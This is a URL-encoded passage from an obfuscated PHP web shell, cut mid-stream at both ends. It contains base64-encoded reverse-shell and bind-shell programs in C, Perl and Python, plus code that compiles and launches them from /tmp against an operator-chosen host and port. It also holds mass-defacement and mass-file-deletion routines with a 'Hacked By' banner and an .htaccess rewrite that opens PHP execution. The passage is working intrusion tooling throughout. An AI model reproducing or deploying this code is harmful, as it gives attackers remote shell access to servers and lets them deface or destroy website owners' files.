D0%2BICRmaWxlKSB7CiAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLy8nLCAiLyIsICRmaWxlKTsKICAgICAgICBlY2hvICI8Y2VudGVyPjxzdHJvbmc%2BJGZpbGU8L3N0cm9uZz4gPT09PiI7CiAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgIGZsdXNoKCk7CiAgICB9CiAgICAka2V5ID0gJGtleSArIDE7CiAgICBlY2hvICI8Y2VudGVyPjxicj48aDM%2BJGtleSBGaWxlcyBEZWZhY2VkIDwvaDM%2BPC9jZW50ZXI%2BPGJyPiI7Cn0KZnVuY3Rpb24gc2FidW5fTWFzc2FsKCRkaXIsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpIHsKICAgIGlmIChpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICRkaXJhID0gc2NhbmRpcigkZGlyKTsKICAgICAgICBmb3JlYWNoICgkZGlyYSBhcyAkZGlyYikgewogICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgJGxva2FzaSA9ICRkaXJjIC4gJy8nIC4gJG5hbWFmaWxlOwogICAgICAgICAgICBpZiAoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpcmIgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1vcmFuZ2U%2BWyBET05FIF0gPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiAkbG9rYXNpPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgICAgIH0gIH0gfSAgfSB9Cn0gCmlmICgkX1BPU1RbJ01hc3MnXSA9PSAnb25lZGlyJykgewogICAgZWNobyAiPGJyPiBWZXJzaSBUZXh0IEFyZWE8YnI%2BPHRleHRhcmVhIHN0eWxlPSdiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTtjb2xvcjpyZWQ7JyBuYW1lPSdpbmRleCcgcm93cz0nMTAnIGNvbHM9JzY3Jz4KIjsKICAgICRpbmkgPSAiaHR0cDovLyI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAiJGluaSRyb3cvJGZpbGUKIjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI%2BPGJyPjxiPlZlcnNpIFRleHQ8L2I%2BPGJyPjxicj48YnI%2BCiI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iaHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnIiB0YXJnZXQ9Il9ibGFuayI%2BaHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnPC9hPjxicj4nOwogICAgICAgIH0KICAgIH0KfSBlbHNlaWYgKCRfUE9TVFsnTWFzcyddID09ICdzYWJ1bmthYmVoJykgewogICAgZ2FzcygpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ2hhcHVzTWFzc2FsJykgewogICAgaGFwdXNfTWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7Cn0gZWxzZWlmICgkX1BPU1RbJ01hc3MnXSA9PSAnc2FidW5tZW1hdGlrYW4nKSB7CiAgICBnYXNzX2FsbCgpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ01hc3NkZWZhY2UnKSB7CiAgICBlY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CiAgICBzYWJ1bl9NYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgIGVjaG8gIjwvZGl2PiI7Cn0gZWxzZSB7CiAgICBlY2hvICI8Y2VudGVyPgkJPGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPlNlbGVjdCBUeXBlOjxicj48L2ZvbnQ%2BPHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJNYXNzXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmZcIiBoZWlnaHQ9XCIxMFwiID48b3B0aW9uIHZhbHVlPVwib25lZGlyXCI%2BTWFzcyBEZWZhY2UgMSBEaXI8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cIk1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24%2BPG9wdGlvbiB2YWx1ZT1cInNhYnVua2FiZWhcIj5DdXJyZW50IERpciBBbGwgRmlsZXM8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cInNhYnVubWVtYXRpa2FuXCI%2BUmVwbGFjZSBFdmVyeXRoaW5nIFdpdGggRGVmYWNlPC9vcHRpb24%2BPG9wdGlvbiB2YWx1ZT1cImhhcHVzTWFzc2FsXCI%2BTWFzcyBEZWxldGUgRmlsZXM8L29wdGlvbj48L2NlbnRlcj48L3NlbGVjdD48YnI%2BPGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPkZvbGRlcjo8L2ZvbnQ%2BPGJyPgk8aW5wdXQgbmFtZT0nZF9kaXInIHZhbHVlPSciLmdldGN3ZCgpLiInIHJlcXVpcmVkPScnIHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGJhY2tncm91bmQtY29sb3I6IzIwMjgzMjsgY29sb3I6I2ZmZmZmZicgaGVpZ2h0PScxMCc%2BPGJyPjxmb250IGZhY2U9J0ljZWxhbmQnIGNvbG9yPSdvcmFuZ2UnIHNpemU9JzMnID5GaWxlbmFtZTo8L2ZvbnQ%2BPGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5odG1sJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmYnIGhlaWdodD0nMTAnPjxicj48Zm9udCBmYWNlPSdJY2VsYW5kJyBjb2xvcj0nb3JhbmdlJyAgc2l6ZT0nMycgPkluZGV4IEZpbGU6PC9mb250Pjxicj4KCQoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsgYmFja2dyb3VuZC1jb2xvcjojMjAyODMyOyBjb2xvcjojZmZmZmZmICc%2BICA8YnI%2BPGJyPjxicj48YnI%2BPGJyPjxjZW50ZXI%2BPGgxPiBIYWNrZWQgQnkgSEV4IDxicj4gUGFraXN0YW4gWmluZGFiYWQ8L2gxPjwvY2VudGVyPiAgPC90ZXh0YXJlYT48YnI%2BCgkKCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nTWFzcyBEZWZhY2UnIHN0eWxlPSd3aWR0aDogMjAwcHg7Jz48L2Zvcm0%2BPC9jZW50ZXI%2BPC9kaXY%2BIjsgfSAgPz4gCg%3D%3D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%3Ciframe%20src%3D%27.tmp%2Fdf.php%27%20width%3D%27800%27%20height%3D%27450%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionNetwork%28%29%20%7B%20hardHeader%28%29%3B%20%24back%5fconnect%5fc%20%3D%20%22I2luY2x1ZGUgPHN0ZGlvLmg%2BDQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9%22%3B%20%24back%5fconnect%5fp%20%3D%20%22IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7%22%3B%20%24bind%5fport%5fc%20%3D%20%22I2luY2x1ZGUgPHN0ZGlvLmg%2BDQojaW5jbHVkZSA8c3RyaW5nLmg%2BDQojaW5jbHVkZSA8dW5pc3RkLmg%2BDQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9%22%3B%20%24pyy%20%3D%20%22IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ%3D%3D%22%3B%20%24bind%5fport%5fp%20%3D%20%22IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI%2BJkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0%3D%22%3B%20echo%20%22%3Ccenter%3E%3Ch1%3ENetwork%20tools%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%0A%09%3Cform%20name%3D%27nfp%27%20onSubmit%3D%27g%28null%2Cnull%2Cthis.using.value%2Cthis.port.value%2Cthis.pass.value%29%3Breturn%20false%3B%27%3E%3Cbr%3E%0A%09%3Cspan%3EBind%20port%20to%20%2Fbin%2Fsh%3C%2Fspan%3E%3Cbr%2F%3E%0A%09Port%3A%20%3Cinput%20type%3D%27text%27%20name%3D%27port%27%20value%3D%2731337%27%3E%20Password%3A%20%3Cinput%20type%3D%27text%27%20name%3D%27pass%27%3E%20Using%3A%20%3Clabel%3E%3Cselect%20name%3D%27using%27%3E%3Coption%20value%3D%27bpp%27%3EPerl%3C%2Foption%3E%3Coption%20value%3D%27bpc%27%3EC%3C%2Foption%3E%3C%2Fselect%3E%3C%2Flabel%3E%20%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%0A%09%3C%2Fform%3E%3Cbr%3E%0A%09%3Cform%20name%3D%27nfp%27%20onSubmit%3D%27g%28null%2Cnull%2Cthis.using.value%2Cthis.server.value%2Cthis.port.value%29%3Breturn%20false%3B%27%3E%0A%09%3Cspan%3EBack-connect%20to%3C%2Fspan%3E%3Cbr%2F%3E%0A%09Server%3A%20%3Cinput%20type%3D%27text%27%20name%3D%27server%27%20value%3D%22%20.%20%24%5fSERVER%5B%22REMOTE%5fADDR%22%5D%20.%20%22%3E%20Port%3A%20%3Cinput%20type%3D%27text%27%20name%3D%27port%27%20value%3D%2721%27%3E%20Using%3A%20%3Clabel%3E%3Cselect%20name%3D%27using%27%3E%3Coption%20value%3D%27bcpy%27%3EPython%3C%2Foption%3E%3Coption%20value%3D%27bcp%27%3EPerl%3C%2Foption%3E%3Coption%20value%3D%27bcc%27%3EC%3C%2Foption%3E%3C%2Fselect%3E%3C%2Flabel%3E%20%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%0A%09%3C%2Fform%3E%3Cbr%3E%22%3B%20if%20%28isset%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20function%20cf%28%24f%2C%20%24t%29%20%7B%20%28%24w%20%3D%20%40fopen%28%24f%2C%20%22w%22%29%29%20or%20%40%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22file%5fput%5fcontents%22%29%3B%20if%20%28%24w%29%20%7B%20%40fwrite%28%24w%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24t%29%29%20or%20%40fputs%28%24w%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24t%29%29%20or%20%40file%5fput%5fcontents%28%24f%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24t%29%29%3B%20%40fclose%28%24w%29%3B%20%7D%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bpc%22%29%20%7B%20cf%28%22%2Ftmp%2Fbp.c%22%2C%20%24bind%5fport%5fc%29%3B%20%24%E2%96%96%20%3D%20ex%28%22gcc%20-o%20%2Ftmp%2Fbp%20%2Ftmp%2Fbp.c%22%29%3B%20%40unlink%28%22%2Ftmp%2Fbp.c%22%29%3B%20%24%E2%96%96%20.%3D%20ex%28%22%2Ftmp%2Fbp%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%22%20.%20%24%5fPOST%5B%22p3%22%5D%20.%20%22%20%26%22%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bp%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bpp%22%29%20%7B%20cf%28%22%2Ftmp%2Fbp.pl%22%2C%20%24bind%5fport%5fp%29%3B%20%24%E2%96%96%20%3D%20ex%28which%28%22perl%22%29%20.%20%22%20%2Ftmp%2Fbp.pl%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%26%22%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bp.pl%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bcc%22%29%20%7B%20cf%28%22%2Ftmp%2Fbc.c%22%2C%20%24back%5fconnect%5fc%29%3B%20%24%E2%96%96%20%3D%20ex%28%22gcc%20-o%20%2Ftmp%2Fbc%20%2Ftmp%2Fbc.c%22%29%3B%20%40unlink%28%22%2Ftmp%2Fbc.c%22%29%3B%20%24%E2%96%96%20.%3D%20ex%28%22%2Ftmp%2Fbc%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%22%20.%20%24%5fPOST%5B%22p3%22%5D%20.%20%22%20%26%22%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bc%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bcp%22%29%20%7B%20cf%28%22%2Ftmp%2Fbc.pl%22%2C%20%24back%5fconnect%5fp%29%3B%20%24%E2%96%96%20%3D%20ex%28%20which%28%22perl%22%29%20.%20%22%20%2Ftmp%2Fbc.pl%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%22%20.%20%24%5fPOST%5B%22p3%22%5D%20.%20%22%20%26%22%20%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bc.pl%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bcpy%22%29%20%7B%20cf%28%22%2Ftmp%2Fbc.py%22%2C%20%24back%5fconnect%5fp%29%3B%20%24%E2%96%96%20%3D%20ex%28%20which%28%22perl%22%29%20.%20%22%20%2Ftmp%2Fbc.py%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%22%20.%20%24%5fPOST%5B%22p3%22%5D%20.%20%22%20%26%22%20%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bc.py%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20%7D%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionMassuser%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EMass%20Title%20Edit%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22title.php%22%3B%20%24mass%5fscript%20%3D%20%22PD9wSHAKZWNobyI8aHRtbD4KPGhlYWQ%2BCjxzdHlsZT4KaHRtbCB7Cgpjb2xvcjogd2hpdGU7Cn0KaW5wdXRbdHlwZT10ZXh0XSxpbnB1dFt0eXBlPXN1Ym1pdF0gewpiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgCmNvbG9yOndoaXRlOwptYXJnaW46MCAxMHB4Owpmb250LWZhbWlseTpIb21lbmFqZTsKZm9udC1zaXplOjEzcHg7CmJvcmRlcjoycHggc29saWQgIzJkMmIyYjsKfQp0ZXh0YXJlYXsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKYm9yZGVyOiAxcHggc29saWQgIzJkMmIyYjsKd2lkdGg6IDEwMCU7CmhlaWdodDogNDAwcHg7CnBhZGRpbmctbGVmdDogNXB4OwptYXJnaW46IDEwcHggYXV0bzsKZm9udC1mYW1pbHk6SG9tZW5hamU7CmNvbG9yOiAjZmZmZmZmOwpmb250LXNpemU6MTNweDsKfQo8L3N0eWxlPiI7CgplcnJvcl9yZXBvcnRpbmcoMCk7CnNldF90aW1lX2xpbWl0KDApOwpAY2xlYXJzdGF0Y2FjaGUoKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CmlmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSl7CiAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZnVuY3Rpb24gR3JhYlVybCgkdXJsLCR0eXBlKXsKCiAgICAgICAgJHVybEFycmF5ID0gYXJyYXkoKTsKCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CgogICAgICAgICRyZWdleD0nfDxhLio%2FaHJlZj0iKC4qPykifCc7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHJlZ2V4LCRyZXN1bHQsJHBhcnRzKTsKICAgICAgICAkbGlua3M9JHBhcnRzWzFdOwogICAgICAgIGZvcmVhY2goJGxpbmtzIGFzICRsaW5rKXsKICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXJsQXJyYXksICRsaW5rKTsKICAgICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwoKICAgICAgICBmb3JlYWNoKCR1cmxBcnJheSBhcyAkdmFsdWUpewogICAgICAgICAgICAkbG9sPSIkdXJsJHZhbHVlIjsKCQkJaWYocHJlZ19tYXRjaCgiIyR0eXBlI2lzIiwgJGxvbCkpIHsKCQkJCWVjaG8gIiRsb2xcclxuIjsKCQkJfQogICAgICAgIH0KfQpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3V